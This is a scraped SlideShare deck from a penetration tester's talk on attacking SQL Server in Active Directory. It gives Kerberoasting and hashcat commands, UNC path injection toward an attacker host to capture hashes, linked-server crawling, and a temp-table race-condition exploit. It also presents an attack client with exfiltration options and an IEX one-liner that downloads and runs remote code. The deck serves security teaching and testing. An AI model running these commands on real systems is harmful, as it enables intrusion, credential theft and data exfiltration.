SlideShare a Scribd company logo
1 of 94
Download to read offline
SQL Server
Hacking Tips for
ACTIVE DIRECTORY
ENVIRONMENTS
Name: Scott Sutherland
Job: Network & Application Pentester @ NetSPI
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/NetSPI/PowerUpSQL
https://github.com/NetSPI/ESC
https://github.com/NetSPI/SQLC2
https://sqlwiki.netspi.com/
SQLC2
Community involvement:
• SQL Injection Wiki
• SQL Server Metasploit modules
• PowerShell Empire functions
• DBATools functions
• DAFT: C# port of PowerUpSQL
• Bloodhound SQL Server edge help language
PRESENTATION OVERVIEW
5 Reasons to target SQL Server
4 Common Entry Points
3 Common Privilege Escalation Techniques
2 Examples of Temporary Table Abuse
1 Evil SQL Client (ESC) console application (msbuild in line task execution)
Why Target SQL Server?
WHY TARGET SQL SERVER?
Why Target SQL Server?
SQL Servers exist in almost every enterprise environment we see.1
SQL Servers can be blindly discovered quickly in Active Directory environments.2
SQL Servers have trust relationships with the OS and Active Directory.3
Exploitable default configurations are incredibly common.4
Exploitable weak configurations are incredibly common.5
Quick Introduction
PowerUpSQL
INTRODUCTION TO POWERUPSQL
Introduction to PowerUpSQL
It also supports a lot of post-exploitation functionality that covers the kill
chain…like Active Directory recon.
Data
Targeting
Command
Execution
Privilege
Escalation
AD Recon
Lateral
Movement
Discovery
Initial
Access
Defense
Evasion
PowerShell tool that can be used to inventory, audit, and exploit weak
SQL Server configurations on scale in AD environments.
INTRODUCTION TO POWERUPSQL
Introduction to PowerUpSQL
WWW.POWERUPSQL.COM
• Setup instructions
• Cheat sheets
• Code templates
• Function documentation
• Links to:
- Blogs
- Presentations
- Videos
How do find SQL Servers
using Active Directory?
How do I find SQL Servers in Active Directory environments?
SQL Server Discovery
Domain joined SQL Servers register their service accounts in the Service
Principal Name (SPN) property of the user/computer object in Active
Directory.
Any domain user can query Active Directory for domain computer/user
SPNS.
The SPNs are added to support Kerberos authentication.
SQL Servers can be identified by executing LDAP queries for SPNs
containing “MSSQLSvc”.
Active Directory PowerShell Cmdlet
SQL Server Discovery
Get-ADObject -LDAPFilter “(servicePrincipalName=MSSQL*)“
PowerUpSQL Functions
SQL Server Discovery
Get-DomainSpn -DomainController 10.0.0.1 -Username DomainUser -Password Password123!
Get-DomainSpn -SpnService MSSQL
Get-SQLInstanceDomain –Verbose
Just SQL SPNs
Common Entry Points
COMMON ENTRY POINTS
Common Entry Points
Domain users can log into SQL Server Express instances by default. Yep.1
Domain users can log into SQL Server instances due to excessive privileges.2
Default passwords are configured for logins configured by applications.3
Weak service account passwords that can be guessed online/offline.4
EXCESSIVE PRIVILEGES
Common Entry Points
Explicit login privileges
provided to domain users by
sysadmins or default
application installations.
SQL Server Express
inherently includes domain
users in the public role
when installed on a domain
system.
EXCESSIVE PRIVILEGES
Common Entry Points
Explicit login privileges
provided to domain users by
sysadmins or default
application installations.
SQL Server Express
inherently includes domain
users in the public role
when installed on a domain
system.
EXCESSIVE PRIVILEGES
Common Entry Points
Explicit login privileges
provided to domain users by
sysadmins or default
application installations.
SQL Server Express
inherently includes domain
users in the public role
when installed on a domain
system.
PowerUpSQL Functions: Finding Excessive Privileges
Common Entry Points
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded –Verbose
Get-SQLInstanceDomain | Get-SQLServerInfoThreaded –Verbose
Common Entry Points
Default Application Logins
Common Entry Points
DEFAULT APPLICATION LOGINS
Common Entry Points
Lots of commercial applications commonly use SQL Server.
Many of those applications create default logins in SQL Server.
Those logins often have default passwords that don’t get changed.
Many of those applications create application specific SQL Server instance
names.
Those instance names can be quickly identified via LDAP queries for SPNs,
then we can use Get-SQLServerLoginDefaultPw to identify defaults.
DEFAULT APPLICATION LOGINS: Example
Common Entry Points
These instance names
are too general for
default login targeting
Software specific instance
name can be used for
targeting default logins
Common Entry Points
Weak Passwords
SQL Server Service Accounts
Common Entry Points
WEAK SERVICE ACCOUNT PASSWORDS
Common Entry Points
Online password guessing – mind the lockout policy!
Kerberoasting
Big thanks to: Tim Medin, Benjamin Delpy, Will Schroeder
Kerberos ticket-granting service (TGS) service ticket
Encrypted with NTLM(RC4) password hash of requesting domain user
WHAT IS KERBEROASTING?
Common Entry Points
Kerberoasting is the process of requesting a TGS service ticket for a domain service account (domain account
with a SPN), recovering the ticket from memory, and trying to determine the password of the service account offline by
attempting to decrypt the ticket.
Encrypted with NTLM (RC4) password hash
of the service account
Ticket Information
The requesting domain user
can decrypt as intended.
This is what is brute
forced offline. We’ll know
we guessed the right
password for the domain
service account when the
ticket information decrypts
correctly.
KERBEROASTING ATTACK SUMMARY
Common Entry Points
https://github.com/GhostPack/Rubeus#kerberoast | https://hashcat.net/hashcat/
Rubeus.exe kerberoast /outfile:C:Tempdomainhashes.txt
Rubeus.exe kerberoast /user:SQLSVC /outfile:C:Tempsqlhash.txt
COLLECTION
hashcat -m 13100 -a 0 sqlhash.txt passwordfile.txt
CRACKING
Invoke-SQLOSCmd -Instance server1instance1 -username domainsqlsvc -password “Secret!” -Command "Whoami“
EXECUTE COMMANDS ON SQL SERVER THAT USE SQLSVC
Common Privilege
Escalation Methods
COMMON PRIVILEGE ESCALATION METHODS
Common Privilege Escalation Methods
UNC Path Injection + Hash Capture / SMB Relay
User Enumeration + Weak Passwords
Linked Server + Excessive Privileges
1
2
3
UNC PATH INJECTION
+ Hash Cracking/Relay
Common Privilege Escalation Methods
UNC PATH INJECTION + PASSWORD HASH COLLECTION
Common Privilege Escalation Methods
Capture or Relay the NetNTLM password hash for the SQL Server service
which often has sysadmin privileges (Inveigh, Responder, etc)
By default, the PUBLIC role can leverage 2 stored procs for UNC injection:
xp_dirtree and xp_fileexist
UNC path injection can be used to force the SQL Server service account to
authenticate to the attacker’s system:
xp_dirtree “attackeripfile’
Sysadmins can execute operating system commands via xp_cmdshell
https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet
UNC PATH INJECTION + PASSWORD HASH COLLECTION
Common Privilege Escalation Methods
Below is the high level process for executing the attack on scale in AD:
1. Locate SQL Servers on the domain via LDAP queries for SQL SPNs
2. Attempt to log into each SQL instance as the current domain user
3. Perform UNC path injection and capture SQL Server service account
password hashes
4. Crack password hashes offline
5. Login into SQL Server and execution OS commands
The Get-SQLServiceAccountPwHashes function can come in handy
Thanks Thomas Elling!
UNC PATH INJECTION + PASSWORD HASH COLLECTION
Common Privilege Escalation Methods
UNC PATH INJECTION + SMB RELAY TIPS
Common Privilege Escalation Methods
Target shared SQL Server service accounts
• Service accounts are often configured as sysadmin
• Service accounts are often configured as a local administrator
• Compromise one account = Access to all the SQL Servers that use it
Make sure your target SQL Server doesn’t check for SMB signing
LOCATING SHARED SERVICE ACCOUNTS (PowerUpSQL)
Common Privilege Escalation Methods
$SQLServers = Get-SQLInstanceDomain -Verbose
Get List of Domain Joined SQL Servers
List Instances with using Shared Account
$SQLServers | Where-Object domainaccount -Like “SQLSVC”
$SQLServers | Group-Object domainaccount | Sort-Object count -Descending
Group Results to Reveal Shared Accounts
USER ENUMERATION
+ WEAK PASSWORDS
Common Privilege Escalation Methods
ENUMERATING SQL LOGINS
Common Privilege Escalation Methods
It’s common for developers and vendors to create SQL Logins with the
username with weak passwords, but sometimes you don’t know the login
name.
As a least privilege authenticated user you can blindly enumerate all SQL
Server logins by fuzzing numbers provided to the SUSER_NAME() function.
Those logins can be then be used to guess passwords.
Example:
SELECT SUSER_NAME(1)
SELECT SUSER_NAME(2)
SELECT SUSER_NAME(3)
…
ENUMERATING DOMAIN USERS AND GROUPS
Common Privilege Escalation Methods
Through a similar process you can blindly enumeration domain users using
the DEFAULT_DOMAIN(), SUSER_SID, and SUSER_SNAME functions.
Get Domain
SELECT DEFAULT_DOMAIN() as mydomain;
Get the RID for a Known Group
SELECT SUSER_SID('DEMODomain Admins’)
Fuzz RID to Enumeration Users and Groups
SELECT
SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F
4010000)
ENUMERATING LOGINS AND PASSWORD GUESSING
Common Privilege Escalation Methods
Invoke-SQLAuditWeakLoginPw
1. Blindly enumerates all SQL
logins with least privilege SQL
login
2. Attempt user name as
password
3. Custom user/password lists
can be provided
Get-SQLFuzzDomainAccount
1. Blindly enumerate domain users
and group associated with the
SQL Server domain with least
privilege SQL login
LDAP QUERIES
via SQL SERVER
Common Privilege Escalation Methods
LDAP QUERIES VIA SQL SERVER
Common Privilege Escalation Methods
The OLE DB ADSI provide in SQL Server can be used to craft LDAP
queries. A nice blog was written by Thomas Elling on the subject.
Specifically, queries can be created using ad-hoc queries (OPENROWSET)
or linked servers (OPENQUERY) without requiring a custom CLR or
extended stored procedure.
PowerUpSQL functions and TSQL templates can be found at:
https://www.powerupsql.com
More thanks to Thomas Elling!
LDAP QUERIES VIA SQL SERVER
Common Privilege Escalation Methods
Ad-Hoc Query
example using:
OPENROWSET
DOMAIN USERS
LDAP QUERIES VIA SQL SERVER
Common Privilege Escalation Methods
Linked Server
example using:
OPENQUERY
DOMAIN USERS
Linked Servers +
Excessive Privileges
Common Privilege Escalation Methods
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Linked servers are basically persistent database connections for SQL
Servers. Usually preconfigured with alternative credentials.
Why should I care?
• Move between SQL Servers (lateral movement)
• Impersonate link users without providing credentials (privilege escalation)
• Crawl SQL Server link networks (bypass network security controls)
• We seem misconfigured linked servers in about 50% environments
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Query linked server:
SELECT * FROM OpenQuery([SQLSERVER2],’SELECT @@Version’)
Identify linked servers:
SELECT * FROM MASTER..SYSSERVERS
PowerUpSQL and the Metasploit modules can also be handy for crawling
and command execution through linked servers.
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
D
B
Link
w
ith
Least Privileges
DB1
LVA
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Example of attack path from the
internet
InternetDMZIntranet
LRA HVA
LVA
ADS
Ports
80 and 443
Ports
1433 and 1434
HVA
PURE
EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
D
B
Link
w
ith
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and
local commands on
database servers via
nested linked services
2
LINKED SERVERS + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
Link crawls can result in access to:
• 100s of systems
• 1000s of databases
• Active Directory domains
• Isolated & protected networks
• Partner networks via VPN
https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
Lots of great work done by Antti Rantasaari:
SQL SERVER LINK + EXCESSIVE PRIVILEGES
Common Privilege Escalation Methods
CASE STUDY
Abusing Temporary Tables
ABUSING TEMPORARY TABLES
Case Study: Abusing Temporary Tables
Introduction to common approaches
Case Study: Vulnerable Agent Job
1
2
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
Case Study: Abusing Temporary Tables
Devs often use them for temporary data storage and data processing
Create race conditions that can compromise data confidentially and integrity
Similar to regular tables, but intended for temporary use
Occasionally result in code execution opportunities
Stored in the tempdb default database
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
There are primarily three variations of temporary tables in SQL Server:
Temporary Table Type Scope Scope Description
Table Variable Batch Only accessible within the query batch it’s executed in.
Case Study: Abusing Temporary Tables
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
There are primarily three variations of temporary tables in SQL Server:
Temporary Table Type Scope Scope Description
Table Variable Batch Only accessible within the query batch it’s executed in.
Local Temporary Table Current Session
Accessible to all query batches within the same active
connection until the connection is terminated or the table is
explicitly dropped.
Case Study: Abusing Temporary Tables
WHAT ARE TEMPORARY TABLES IN SQL SERVER?
There are primarily three variations of temporary tables in SQL Server:
Temporary Table Type Scope Scope Description
Table Variable Batch Only accessible within the query batch it’s executed in.
Local Temporary Table Current Session
Accessible to all query batches within the same active
connection until the connection is terminated or the table is
explicitly dropped.
Global Temporary Table
All Sessions
Accessible (read/write) to all active connections until
there are no references to the table or the table is explicitly
dropped.
Case Study: Abusing Temporary Tables
HOW TEMPORARY TABLES WORK?
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
Table Variable
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
@table_variable
Case Study: Abusing Temporary Tables
HOW TEMPORARY TABLES WORK?
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
Table Variable
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
@table_variable
Local Temporary Table
CREATE TABLE #LocalTempTbl
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM #LocalTempTbl
Case Study: Abusing Temporary Tables
HOW TEMPORARY TABLES WORK?
Below are some common queries for creating and querying temp tables:
Temporary Table Type Create Query
Table Variable
DECLARE @table_variable TABLE
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
@table_variable
Local Temporary Table
CREATE TABLE #LocalTempTbl
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM #LocalTempTbl
Global Temporary Table
CREATE TABLE ##GlobalTempTbl
(Spy_id INT NOT NULL, SpyName
text NOT NULL, RealName text
NULL);
SELECT * FROM
##GlobalTempTbl
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Unprivileged User: Monitor tempdb
Privileged User: Review Source Code
• Agent Jobs
• Stored Procedures
• DDL Triggers
• DML and Logon Triggers
• Global temp table names and
columns
• Global temp table content
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb
• View Names
• Global temp tables
don’t always exist for
long
• Limited to point in time
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb in Loop
• View Names
• Looping offers better
visibility over time
• Throttle to avoid over
utilizing the CPU ☺
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb in Loop
• View Content
• Race condition results
in a data confidentiality
issue
Case Study: Abusing Temporary Tables
HOW CAN I FIND EXPOSED GLOBAL TEMP TABLES?
Query tempdb in Loop
• Update Content
• Race condition results
in a data integrity issue
• This can lead to code
execution under specific
conditions
Case Study: Abusing Temporary Tables
CASE STUDY
VULNERABLE AGENT JOB
CASE STUDY: VULNERABLE AGENT JOB - SUMMARY
Case Study: Vulnerable Agent Job
SQL Agent Job exists that executes TSQL job hourly1
TSQL job dynamically creates PowerShell command2
TSQL job creates global temp table and stores PowerShell command in it3
TSQL job selects PowerShell command from global temp table4
TSQL job executes PowerShell via xp_cmdshell5
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES
Query tempdb in Loop
• View Names
• We can see temp tables
being generated with
random names
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW NAMES
Query tempdb in Loop
• View Names
• We run the query again
and see different temp
tables names with the
same columns
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VIEW CONTENT
Query tempdb in Loop
• View Content
• We see a PowerShell
command being stored in
the temp table that creates
the file:
C:Program FilesMicrosoft SQL
ServerMSSQL12.SQLSERVER201
4MSSQLLogintendedoutput.txt
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - UPDATE CONTENT
Query tempdb in Loop
• Update Content
• We modify the PowerShell
command being stored in
the temp table to write to:
C:Program FilesMicrosoft SQL
ServerMSSQL12.SQLSERVER201
4MSSQLLogfinishline.txt
Case Study: Vulnerable Agent Job
CASE STUDY: VULNERABLE AGENT JOB ATTCK - VERIFY EXECUTION
Verify file write
• Via explorer
• You could also use
xp_filexist ‘C:Program
FilesMicrosoft SQL
ServerMSSQL12.SQLSE
RVER2014MSSQLLogfi
nishline.txt‘
Case Study: Vulnerable Agent Job
PREVENTION
Don’t run code blocks that have been stored in a global temporary table.
BLOG: https://blog.netspi.com/exploiting-sql-server-global-temporary-table-race-conditions
Case Study: Vulnerable Agent Job
Don’t store sensitive data or code blocks in a global temporary table.
If you need to access data across multiple sessions consider using
memory-optimized tables.
Based on my lab testing, they can provide similar performance benefits
without having to expose data to unprivileged users. For more
information check out this article from Microsoft..
What is the Evil SQL Client?
SQL Server attack console client written in C#
Evil SQL Client: Overview
Supports discovery, access, escalation, and data exfil commands
Built for pentest and red team operations
Ships with files to execute via msbuild inline tasks
Ships with files to execute via PowerShell
Where can I get it?
https://github.com/netspi/esc
Evil SQL Client: Download
Execution Options: esc.exe
Download release or compile from source
Evil SQL Client: Execution Options
Execute esc.exe
Execution Options: msbuild.exe
esc.csproj file contains
the esc.exe source code
in an inline task
*Technique by Casey Smith
Evil SQL Client: Execution Options
Download esc.csproj
Run via msbuild
*Fun fact: No file path needed if
only one .csproj file exists in
directory.
Execution Options: msbuild.exe
esc.xml contains a byte array of
esc.exe that is loaded via
reflection techniques shared by
@BoHops (GhostBuild),
@subTee, and @mattifestation
Evil SQL Client: Execution Options
Download esc.xml
Run via msbuild
Execution Options: PowerShell – Loading esc.exe Assembly
Load assembly from file or byte array:
[System.Reflection.Assembly]::LoadFile("c:tempesc.exe”)
or
[System.Reflection.Assembly]::Load($filebytes)
Evil SQL Client: Execution Options
Shortcut Download PowerShell code to automatically load Evil SQL Client from a string
containing a hardcoded byte array.
IEX(New-Object
System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/ESC/master/e
sc-example.ps1")
Execution Options: PowerShell – Executing esc.exe Functions
Call desired functions. Below are some examples:
[evilsqlclient.Program+EvilCommands]::GetSQLServersBroadCast()
[evilsqlclient.Program+EvilCommands]::GetSQLServersSpn()
[evilsqlclient.Program+EvilCommands]::MasterDiscoveredList
[evilsqlclient.Program+EvilCommands]::InstanceAllG = "enabled"
[evilsqlclient.Program+EvilCommands]::CheckAccess()
[evilsqlclient.Program+EvilCommands]::MasterAccessList
[evilsqlclient.Program+EvilCommands]::CheckDefaultAppPw()
[evilsqlclient.Program+EvilCommands]::CheckLoginAsPw()
[evilsqlclient.Program+EvilCommands]::MasterAccessList
Evil SQL Client: Execution Options
PowerShell Execution Note
The interactive console currently doesn’t work through PowerShell, but all other functions do.
Hopefully, I’ll fix the bug, but it’s still very usable. ☺
ESC Commands
Evil SQL Client: Commands
Discovery Access Gather Escalate Exfil
Discover file
Discover domainspn
Discover broadcast
Show discovered
Export discovered
Check access
Check defaultpw
Show access
Export access
Single instance query
Multi instance query
List serverinfo
List databases
List tables
List links
List logins
List rolemembers
List privs
Check loginaspw
Check uncinject
Run oscmd
Set File
Set FilePath
Set icmp
Set icmpip
Set http
Set httpurl
Note: The “show settings” command will show the current configuration at any given time.
* The data encryption functions are done, but currently they don’t encrypt exfiltrated data at this time.
*All query results are
exfiled via all
enabled methods.
Query Options: Single Instance
Configure Single Instance Target
Set target MSSQLSRV04SQLSERVER2014
Set username backdoor_account
Set password backdoor_account
Show settings
Evil SQL Client: Query Options
Execute query
Select @@version
Go
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Enable multi-instance targeting
Set targetall enabled
Show settings
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Enable multi-instance targeting
Set targetall enabled
Show settings
Check initial access
Check access
Query Options: Multiple Instances
Run discover functions & set
Discover domainspn
Discover broadcast
Discover file c:tempinstancelist.csv
Show settings
Evil SQL Client: Query Options
Enable multi-instance targeting
Set targetall enabled
Show settings
Check initial access
Check access
Show access
Query Options: Multiple Instances
Execute query
Select @@version
Go
Evil SQL Client: Query Options
Query Options: Multiple Instances
Execute query
Select @@version
Go
Evil SQL Client: Query Options
Run Commands
List databases
General Notes
If you mess up a command, just run:
clear
Evil SQL Client: General Notes
CTRL + C kills the application
ESC Demo
Evil SQL Client: Demo
TAKE
AWAYS
TAKE AWAYS
Take Aways
SQL Server instances are easy to find in Active Directory environments.
The default trust relationships between SQL Server on domain systems
and AD can lead to privilege escalation scenarios.
Attacks can originate from the internet or internal vectors
Be proactive about finding common issues and enabled detections.
The same techniques used in PowerUpSQL can be adapted to any medium.

More Related Content

What's hot

RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceNikhil Mittal
 
Open Source 101 2022 - MySQL Indexes and Histograms
Open Source 101 2022 - MySQL Indexes and HistogramsOpen Source 101 2022 - MySQL Indexes and Histograms
Open Source 101 2022 - MySQL Indexes and HistogramsFrederic Descamps
 
Percona Xtrabackup - Highly Efficient Backups
Percona Xtrabackup - Highly Efficient BackupsPercona Xtrabackup - Highly Efficient Backups
Percona Xtrabackup - Highly Efficient BackupsMydbops
 
MySQL Architecture and Engine
MySQL Architecture and EngineMySQL Architecture and Engine
MySQL Architecture and EngineAbdul Manaf
 
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShell2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShellScott Sutherland
 
MITRE AttACK framework it is time you took notice_v1.0
MITRE AttACK framework it is time you took notice_v1.0MITRE AttACK framework it is time you took notice_v1.0
MITRE AttACK framework it is time you took notice_v1.0Michael Gough
 
Galera cluster for high availability
Galera cluster for high availability Galera cluster for high availability
Galera cluster for high availability Mydbops
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerBeyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerScott Sutherland
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory PwnagePetros Koutroumpis
 
MySQL Performance Schema in Action: the Complete Tutorial
MySQL Performance Schema in Action: the Complete TutorialMySQL Performance Schema in Action: the Complete Tutorial
MySQL Performance Schema in Action: the Complete TutorialSveta Smirnova
 
Wireless Penetration Testing
Wireless Penetration TestingWireless Penetration Testing
Wireless Penetration TestingMohammed Adam
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTIONAnoop T
 
SpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedSpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedWill Schroeder
 
All You Need is One - A ClickOnce Love Story - Secure360 2015
All You Need is One -  A ClickOnce Love Story - Secure360 2015All You Need is One -  A ClickOnce Love Story - Secure360 2015
All You Need is One - A ClickOnce Love Story - Secure360 2015NetSPI
 
How to Manage Scale-Out Environments with MariaDB MaxScale
How to Manage Scale-Out Environments with MariaDB MaxScaleHow to Manage Scale-Out Environments with MariaDB MaxScale
How to Manage Scale-Out Environments with MariaDB MaxScaleMariaDB plc
 
Understanding Your Attack Surface and Detecting & Mitigating External Threats
Understanding Your Attack Surface and Detecting & Mitigating External ThreatsUnderstanding Your Attack Surface and Detecting & Mitigating External Threats
Understanding Your Attack Surface and Detecting & Mitigating External ThreatsUlf Mattsson
 
CISSP Prep: Ch 7. Security Assessment and Testing
CISSP Prep: Ch 7. Security Assessment and TestingCISSP Prep: Ch 7. Security Assessment and Testing
CISSP Prep: Ch 7. Security Assessment and TestingSam Bowne
 
Adversary Emulation using CALDERA
Adversary Emulation using CALDERAAdversary Emulation using CALDERA
Adversary Emulation using CALDERAErik Van Buggenhout
 

What's hot (20)

RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory Dominance
 
Open Source 101 2022 - MySQL Indexes and Histograms
Open Source 101 2022 - MySQL Indexes and HistogramsOpen Source 101 2022 - MySQL Indexes and Histograms
Open Source 101 2022 - MySQL Indexes and Histograms
 
Percona Xtrabackup - Highly Efficient Backups
Percona Xtrabackup - Highly Efficient BackupsPercona Xtrabackup - Highly Efficient Backups
Percona Xtrabackup - Highly Efficient Backups
 
MySQL Architecture and Engine
MySQL Architecture and EngineMySQL Architecture and Engine
MySQL Architecture and Engine
 
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShell2017 Secure360 - Hacking SQL Server on Scale with PowerShell
2017 Secure360 - Hacking SQL Server on Scale with PowerShell
 
MITRE AttACK framework it is time you took notice_v1.0
MITRE AttACK framework it is time you took notice_v1.0MITRE AttACK framework it is time you took notice_v1.0
MITRE AttACK framework it is time you took notice_v1.0
 
Galera cluster for high availability
Galera cluster for high availability Galera cluster for high availability
Galera cluster for high availability
 
Beyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL ServerBeyond xp_cmdshell: Owning the Empire through SQL Server
Beyond xp_cmdshell: Owning the Empire through SQL Server
 
MetaCDN
MetaCDNMetaCDN
MetaCDN
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
 
MySQL Performance Schema in Action: the Complete Tutorial
MySQL Performance Schema in Action: the Complete TutorialMySQL Performance Schema in Action: the Complete Tutorial
MySQL Performance Schema in Action: the Complete Tutorial
 
Wireless Penetration Testing
Wireless Penetration TestingWireless Penetration Testing
Wireless Penetration Testing
 
SQL INJECTION
SQL INJECTIONSQL INJECTION
SQL INJECTION
 
SpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting RevisistedSpecterOps Webinar Week - Kerberoasting Revisisted
SpecterOps Webinar Week - Kerberoasting Revisisted
 
MITRE ATT&CK Framework
MITRE ATT&CK FrameworkMITRE ATT&CK Framework
MITRE ATT&CK Framework
 
All You Need is One - A ClickOnce Love Story - Secure360 2015
All You Need is One -  A ClickOnce Love Story - Secure360 2015All You Need is One -  A ClickOnce Love Story - Secure360 2015
All You Need is One - A ClickOnce Love Story - Secure360 2015
 
How to Manage Scale-Out Environments with MariaDB MaxScale
How to Manage Scale-Out Environments with MariaDB MaxScaleHow to Manage Scale-Out Environments with MariaDB MaxScale
How to Manage Scale-Out Environments with MariaDB MaxScale
 
Understanding Your Attack Surface and Detecting & Mitigating External Threats
Understanding Your Attack Surface and Detecting & Mitigating External ThreatsUnderstanding Your Attack Surface and Detecting & Mitigating External Threats
Understanding Your Attack Surface and Detecting & Mitigating External Threats
 
CISSP Prep: Ch 7. Security Assessment and Testing
CISSP Prep: Ch 7. Security Assessment and TestingCISSP Prep: Ch 7. Security Assessment and Testing
CISSP Prep: Ch 7. Security Assessment and Testing
 
Adversary Emulation using CALDERA
Adversary Emulation using CALDERAAdversary Emulation using CALDERA
Adversary Emulation using CALDERA
 

Similar to TROOPERS 20 - SQL Server Hacking Tips for Active Directory Environments

SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012
SQL Server Exploitation, Escalation, Pilfering - AppSec USA 2012Scott Sutherland
 
SharePoint Security in an Insecure World - AUSPC 2012
SharePoint Security in an Insecure World - AUSPC 2012SharePoint Security in an Insecure World - AUSPC 2012
SharePoint Security in an Insecure World - AUSPC 2012Michael Noel
 
2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQL2019 Blackhat Booth Presentation - PowerUpSQL
2019 Blackhat Booth Presentation - PowerUpSQLScott Sutherland
 
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)
2016 aRcTicCON - Hacking SQL Server on Scale with PowerShell (Slide Updates)Scott Sutherland
 
PowerUpSQL - 2018 Blackhat USA Arsenal Presentation
PowerUpSQL - 2018 Blackhat USA Arsenal PresentationPowerUpSQL - 2018 Blackhat USA Arsenal Presentation
